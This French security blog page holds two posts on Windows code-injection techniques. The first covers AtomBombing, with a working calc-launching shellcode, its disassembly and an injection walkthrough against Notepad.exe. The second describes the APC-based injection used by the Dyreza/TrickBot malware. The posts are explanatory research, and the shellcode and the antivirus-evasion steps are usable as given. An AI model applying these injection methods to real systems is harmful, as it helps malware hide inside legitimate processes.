Affichage des articles dont le libellé est injection. Afficher tous les articles
Affichage des articles dont le libellé est injection. Afficher tous les articles

dimanche 31 décembre 2017

AtomBombing Injection


I.    Introduction

 
Il existe différent mode d'injection de code dans une applications cible. Il est intéressant de voir qu'il existe de nouvelle technique ou des apis ressortant du passer.

Nous allons parler de cette technique apparu en octobre 2016 mis en avant par une équipe de chercheurs en sécurité de la société enSilo.

l'AtomBombing injection, ce nom est basé sur les Api utilisées pour introduire du code dans un processus cible.

Cette nouvelle technique d'injection de code pour Windows, ce base sur le mécanisme des Table d'Atom de windows.

Une table d'Atom dans l'architecture de windows sert pour partager / échanger des données, c'est-à-dire des atomes, entre processus, en utilisant la mémoire système partagée. Les tables Atom sont utiles lorsque les processus doivent accéder aux mêmes chaînes. Microsoft définit les tables Atom comme suit:

"Une table d'Atom est une table définie par le système qui stocke des chaînes accessible avec des identifiants. Une application place une chaîne dans une table Atom et reçoit un entier de 16 bits comme identifiant dans la table que l'on appelé un "Atom" qui peut être utilisé pour accéder à la chaîne, qui a été placée dans la "Atom Table". C'est  ce que l'on  appel un nom d'atome".

L'idée derrière ce nouveau mode d'injection  est que l'on peut utiliser cette table pour transfert du code en  créant  un nom d'atome contenant le code malveillant sous la forme d'une chaîne par exemple un shellcode au lieu d'écrire une chaîne légitime, puis de contraindre le processus cible à charger le code au travers d'une Api récupérant la chaîne via l'identifiant référencé par l'Atom et ensuite de forcer à l'exécuter ce code malveillant.

II.    L'injection AtomBombing en 3 étapes clés

·  En premier disposer ou déterminer une zone mémoire dans le processus cible pouvant accueillir le bloque mémoire à injecter qui peut être exécutable et acceptant l'écriture
Cela peut être dans un cave code ou en appelant l'Api  "VirtualAllocEx" dans le processus malveillant vers la cible.

·  Appelez la fonction "GlobalAddAtom" via le processus malveillant pour injectez le code malveillant sous la forme d'une chaîne dans la table Atom globale du systéme. faut bien garder à l'esprit qu'une table Atom globale est accessible à tous les processus du système.

·  Utilisez un appel de procédure asynchrone (APC)  pour forcer appel de la fonction "GlobalGetAtomName", afin de contraindre le processus cible légitime à copier le code malveillant via la  table Atom globale dans l'espace mémoire de son  processus via l'Atom

En suite le processus malveillant via différente technique n'a pas plus cas forcer l'exécution du code dans le processus qui à été inoculer par notre code malveillant comme il dispose de l'emplacement via l'address ou est stocké celu-ci  dans le processus  cible.

L'attaque peut fonctionner contre tout processus ayant un thread dans un état d'attente pour l'utilisation des APC.

Revenons sur les Apis clés lié à la gestion des Atoms

Historiquement ces fonctions permettent échanger des strings via une table système et référencé via un identifiant codé sur un WORD. Elle sert à des processus à échanger des donnée nommé via mécanisme DDE  (Dynamic Data Exchange ).

Schéma du principe du DDE via Table d'Atom























Les interactions des Apis interagissant avec la Table d'Atom  























 
Les deux d'API a regardé sont:
  • GlobalAddAtom(..) : Ajoute une chaîne de caractères à la table Atom globale et renvoie une valeur unique (un atome) identifiant la chaîne sur un WORD.
  • GlobalGetAtomName(..) : Récupère une copie de la chaîne de caractères associée à l'atome global spécifié.
En appelant GlobalAddAtom(..), vous pouvez stocker un tampon terminé par 0x00 dans la table atom globale. Cette table est accessible depuis tous les autres processus du système. Le tampon peut ensuite être récupéré en appelant GlobalGetAtomName(..) .

GlobalGetAtomName attend un pointeur vers le buffer de sortie, de sorte que l'appelant choisit où le buffer sera stocké.

Via un petit programme, nous montrons ce processus DDE entre 2 process.
L'un insére dans la table d'Atom et récupérer l'identificant dans notre exemple 0x343. Et l'autre récupérer la chaîne via l'Atom ( 0x343 ).

 
































Important, les chaînes pouvant être contenu dans la Table d'Atom ont une taille maximum de 256 octets. Et également elle est conçu pour pas contenir de doublons . Si vous deux applications insérer la même chaîne la table d'Atom vous renverra le même ATOM.

Maintenant rentrons dans notre cas pratique

Ajouter un buffer contenant un shellcode à la table Atom globale en appelant GlobalAddAtom(..), puis que le processus cible appelle GlobalGetAtomName(..), cela permet de copier le shellcode vers le processus cible, sans appeler les classiques API WriteProcessMemory(..) qui son scruté par les Anti-virus.
L'appel de GlobalAddAtom(..)est basique dans le l'injecteur, mais la partie la plus subtile et de contraindre le processus cible à  appeler l'API GlobalGetAtomName(..)

Le prototype de l'API GlobalGetAtomName(..) est la suivant:

 
  UINT WINAPI GlobalGetAtomName ( _In_ ATOM nAtom, _Out_ LPTSTR lpBuffer, _In_ int nSize )

 
Puisque GlobalGetAtomName attend 3 paramètres. Nous ne pouvons pas utiliser QueueUserApc(..) qui ne prend que un paramètre.


Il faut ce tourné vers d'autre API Native APC qui elle peuvent prendre jusqu'a 3 paramêtres qui sont NtQueueApcThread (..) ou ZwQueueApcThread(..).

Maintenant pour notre shellcode, il doit respecter 2 contraintes l'une pas contenir de 0x00. Hormis délimité la fin de chaîne et surtout ne pas dépasser 256 octets.

Pour notre exemple nous avons utiliser un shellcode de type WinExec lançant la calculatrice. Etant qu'a faire qui soit compatible sur Vista / Win7

Pour cela nous allons utiliser un outils disposant de différents Shellcode auto construit
nommé ConstructShellCodePEBWinExecCalc.exe. Le prototype 4 répond à nos deux critères de taille et n'incluans pas de 0x00.



























Nous mettons le shellcode dans le tableau en dessous en rajoutant le fin de chaîne 0x00.

\x78\x35\x35\x8B\xEC\x51\x53\x57\xEB\x6D\x60\x8B\x6C\x24\x24\x8B
\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB
\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0
\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B
\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B
\x01\xE8\x89\x44\x24\x1C\x61\xC3\x56\x57\x33\xC9\x64\x8B\x71\x30
\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39
\x4F\x18\x75\xF2\x5F\x5E\xC3\x68\x98\xFE\x8A\x0E\xE8\xD7\xFF\xFF
\xFF\x50\xE8\x83\xFF\xFF\xFF\xBB\x11\x11\x11\x11\x81\xF3\x11\x11
\x11\x11\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x6A
\x01\x57\xFF\xD0\x5F\x5B\x8B\xE5\x5D\xC3\x00

Bon vu comme cela c'est pas très explicite. Nous vous mettons le codes Assembleur correspondant 


00000000:   78 35                                  JS 35h (rel8)(+35h ->:00000037)'Saut si drapeau de signe vaut 1 (SF=1)'
00000002:   35 8B EC 51 53                  XOR EAX,5351EC8Bh
00000007:   57                                       PUSH EDI
00000008:   EB 6D                                 JMP 6Dh +6Dh ->:00000077)
0000000A:   60                                      PUSHAD
0000000B:   8B 6C 24 24                       MOV EBP,[ESP+24h]
0000000F:   8B 45 3C                            MOV EAX,DWORD PTR [EBP+3Ch]
00000012:   8B 54 05 78                       MOV EDX,DWORD PTR[EBP+EAX+78h]
00000016:   01 EA                                 ADD EDX,EBP
00000018:   8B 4A 18                            MOV ECX,[EDX+18h]
0000001B:   8B 5A 20                           MOV EBX,DWORD PTR [EDX+20h]
0000001E:   01 EB                                 ADD EBX,EBP
00000020:   E3 34                                  JECXZ 34h (-FFFFFFCCh ->:00000056)
00000022:   49                                       DEC ECX
00000023:   8B 34 8B                            MOV ESI,[EBX+ECX*4]
00000026:   01 EE                                  ADD ESI,EBP
00000028:   31 FF                                  XOR EDI,EDI
0000002A:   31 C0                                 XOR EAX,EAX
0000002C:   FC                                      CLD
0000002D:   AC                                     LODSB
0000002E:   84 C0                                 TEST AL,AL
00000030:   74 07                                  JZ 07h (-FFFFFFF9h ->:00000039)
00000032:   C1 CF 0D                            ROR EDI,0Dh (13)
00000035:   01 C7                                 ADD EDI,EAX
00000037:   EB F4                                 JMP F4h (-0Ch ->:0000002D)
00000039:   3B 7C 24 28                       CMP EDI,[ESP+28h]
0000003D:   75 E1                                 JNZ E1h (rel8)(-1Fh ->:00000020)
0000003F:   8B 5A 24                            MOV EBX,DWORD PTR [EDX+24h]
00000042:   01 EB                                 ADD EBX,EBP
00000044:   66 8B 0C 4B                       MOV CX,WORD PTR DS:[EBX+ECX*2]
00000048:   8B 5A 1C                           MOV EBX,DWORD PTR [EDX+1Ch]
0000004B:   01 EB                                 ADD EBX,EBP
0000004D:   8B 04 8B                            MOV EAX,DWORD PTR[EBX+ECX*4]
00000050:   01 E8                                  ADD EAX,EBP
00000052:   89 44 24 1C                       MOV DWORD PTR[ESP+1Ch],EAX
00000056:   61                                       POPAD
00000057:   C3                                      RET
00000058:   56                                       PUSH ESI
00000059:   57                                       PUSH EDI
0000005A:   33 C9                                 XOR ECX,ECX
0000005C:   64 8B 71 30                       MOV ESI,DWORD PTR FS:[ECX+30h]
00000060:   8B 76 0C                            MOV ESI,[ESI+0Ch]
00000063:   8B 76 1C                            MOV ESI,[ESI+1Ch]
00000066:   8B 46 08                            MOV EAX,DWORD PTR[ESI+08h]
00000069:   8B 7E 20                            MOV EDI,[ESI+20h]
0000006C:   8B 36                                 MOV ESI,DWORD PTR[ESI]
0000006E:   66 39 4F 18                        CMP WORD PTR[EDI+18h],CX
00000072:   75 F2                                  JNZ F2h (rel8)(-0Eh ->:00000066)
00000074:   5F                                       POP EDI
00000075:   5E                                       POP ESI
00000076:   C3                                      RET
00000077:   68 98 FE 8A 0E                  PUSH 0E8AFE98h "˜þŠ
" (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
0000007C:   E8 D7 FF FF FF                  CALL FFFFFFD7h (-29h ->:00000058)
00000081:   50                                       PUSH EAX
00000082:   E8 83 FF FF FF                   CALL FFFFFF83h (-7Dh ->:0000000A)
00000087:   BB 11 11 11 11                  MOV EBX,11111111h " "
0000008C:   81 F3 11 11 11 11             XOR EBX,11111111h 
00000092:   53                                       PUSH EBX
00000093:   68 2E 65 78 65                   PUSH 6578652Eh ".exe" / {46 101 120 101} / < w:30821 | w:11877 >
00000098:   68 63 61 6C 63                  PUSH 636C6163h "calc" / {99 97 108 99} / < w:27747 | w:25441 >
0000009D:   8B FC                                 MOV EDI,ESP
0000009F:   6A 01                                 PUSH 01h (1)
000000A1:   57                                      PUSH EDI
000000A2:   FF D0                                 CALL EAX
000000A4:   5F                                      POP EDI
000000A5:   5B                                      POP EBX
000000A6:   8B E5                                 MOV ESP,EBP
000000A8:   5D                                      POP EBP
000000A9:   C3                                      RET
000000AA:   00     
           

Nous allons passer le shellcode dans un analyseur de shellcode maison permettant d'extraire et donner un diagramme encore plus simple du code.

   




























Maintenant nous avons plus qu'a positionner ce shellcode dans la Table d'Atom et obtenir un Atom.



























Nous voyons dans notre exemple l'Atom correspondant est 0xC4C5

Si a partir de notre programme, nous récupérons la chaîne correspondante via
l'API GlobalGetAtomName(..), nous obtenons la vu suivant:

 

 

 

 

 

 

III.    Mise en pratique de l'injection




Maintenant nous allons injecter le shellcode dans un programme standard
Pour notre exemple nous utilisons comme cible "Notepad.exe"

nous injectons le shellcode via notre injecteur sur notre processus Notepad.exe qui a dans notre exemple le process ID = 3536 et comme Thread ID principale 2292

dans notre exemple nous avons utiliser l'API VirtualAllocEx(..) pour obtenir un bloc de mémoire PAGE_EXECUTE_READWRITE qui ce trouve à l'addresse 0x001A0000 dans l'exemple.

Pour visualiser la mémoire du processus Notepad.exe, nous avons utilisé un outil d'analyse de processus X32 permettant de faire un dump de la mémoire

Vous pouvez voir dans la capture écran suivant l'analyse de la mémoire correspondant
En fait, vous ne voyez pas le shellcode injecté, car pour l'instant le thread principal n'a pas encore traité les APC en attente pour ce thread principal.

























En fait, pour déclencher ou contrainte le processus Notepad.exe à traiter les APC en attente, il suffit d'appeler la boite ouvrir ou enregistrer pour voir les l'appel effectué et donc la mémoire rempli du shellcode.

 

 

 

 

 

 

 

 

 

IV.    Conclusions


Il est intéressant de voir le mécanisme windows et le fonctionnement des APIs 
En regardant bien cette technique à aussi d'autre avantage comme écrire dans un processus X64 à partir d'un processus X32 ou aussi en allant plus loin on peut regarder d'autre fonction utilisant des table d'Atom.

Car le système utilise des tables atomiques qui ne sont pas directement accessibles aux applications. Cependant, l'application utilise ces atomes lors de l'appel d'une variété de fonctions. Par exemple, les formats de presse-papiers enregistrés sont stockés dans une table d'atom interne utilisée par le système. Une application ajoute des atomes à cette table atom en utilisant la fonction RegisterClipboardFormat(..). De plus, les classes enregistrées sont stockées dans une table d'atom interne utilisée par le système. Une application ajoute des atomes à cette table atom en utilisant la fonction RegisterClass(..) ou RegisterClassEx(..).




 

dimanche 19 mars 2017

Injection de Dyreza / Dyre

I.    Introduction



Nommé Dyreza ou Dyre ou  réapparu par des souches de son code dans le malware "TrickBot"
Nous allons dans ces quelques lignes expliquer l'injection utiliser dans des processus légitimes de ce malware.

II.          Mode d'injection dans un processus légitime.


Dyreza a une façon particuliére d'injecter du code dans le processus cible en cours d'éxecution sur le poste que la plupart des autres malwares.
La plupart des malwares injecteront du code de différentes manières:
1 ) Créer un processus suspendu puis le creusé, écrire le code à injecté, Et enfin rediriger le thread principal  du processus sur son code injecté dans le processus ( Technique de ProcessHollowing )
2 ) Ouvrir un processus en cours d'execution dans la session, lui inserer du code et enfin crée un nouveau thread dans le processus exécutant le code écrit.
3) créer un mappage mémoire entre le processus et le malware, puis démarrer un nouveau thread dans le processus cible qui exécutera le code mappé.
Dyreza démarre son injection sur la techinque (3) en mappant un bloc mémoire de son process dans la mémoire virtuelle du processus cible comme explorer.exe ou svchost.exe via l'api NtMapViewOfSection(..). À ce stade rien de réellement nouveau,mais à  différence de la plupart d'autre malware qui vont soit détourner le thread déjà en cours d'exécution (en utilisant GetThreadContext et SetThreadContext, soit ResumeThread) ou en créer un nouveau (utilisant CreateRemoteThread ou via les API native). Au lieu de cela , Dyreza utilise l'API ZwQueueApcThread(..) pour faire executer le code mappé en définissant l'adresse de début du shellcode mappé dans le processus cible.

nous allons décrire la séquence via des schemas conceptuelle à la différence que l'on va uniquement utiliser la technique pour charger une DLL dans le processus cible et non un shellcode dans une premier temps.

Le premier étape est de crée un fichier mappé en mémoire dans son processus et écrire le chemin de la dll que l'on souhaite injecté dans le processus cible 
Dans notre exemple nous allons injecter une dll nommé "9B113D1A.dll". Le fichier mappé dans le processus injecteur ce trouve à une addresse en mémoire que l'on nommera "Addresse X" 


la seconde étape est le mappage de notre bloc mémoire dans le processus cible.
Il faut bien prendre conscience que celui-ci va être mappé dans le processus cible avec l'ensemble du contenu du bloc que ce soit une chaine ou un schellcode. Mail il sera à positionner différente que l'on nommera dans notre exemple "Addresse Y" 


la dernier étape est d'appel d'une procédure asynchrone sur le thread cible ( APC sur le Thread )



ce qui donne sur un seul schéma la séquence de cette injection




III.         Mise en pratique de l'injection

Pour cela nous utilisons un exemple "InjectionOfProcessWithNtMapViewOfSection.exe" qui mes en pratique ce que nous avons décrit au dessus:




























Dans notre exemple Address X = 0x00320000 correspondant à l'addresse ou est mappé le fichier en mémoire dans l'injecteur et Addesse Y = 0x00050000 le bloc mappé dans le processes cible qui est ici "calc.exe"

Nous allons mettre en evidence la présence du fichier mappé dans la mémoire du processus injecteur
Pour cela nous allons utiliser un outil conçu pour analyser des processus X32

Celui-ci fait un dump de la mémoire à une addresse précis et pour un volume d'octet définit
Nous avons positionner sur l'addresse du fichier mappé 0x00320000 dans le processus injecteur.
Nous retrouvons bien la chaine écrite "C:\Sample\98113D1A.dll"

Mais faut ce dump avant que le processus injecteur est appeler code  "UnmapViewOfFile(hView);".Car à ce moment là, le bloc n'existe plus dans le processus le processus injecteur.

Nous avons effectuer le dump mémoire à l'adresse 0x00320000, juste aprés d'appel de la l'API "UnmapViewOfFile(..)".Et nous avons obtenu ce qui était évidant plus de trace de la chaine.






A contrario si nous effectuons un dump sur notre processus cible "calc.exe" ayant pour PID =2036. Nous avons encore notre fichier mappé en mémoire avec notre chaine dans la cible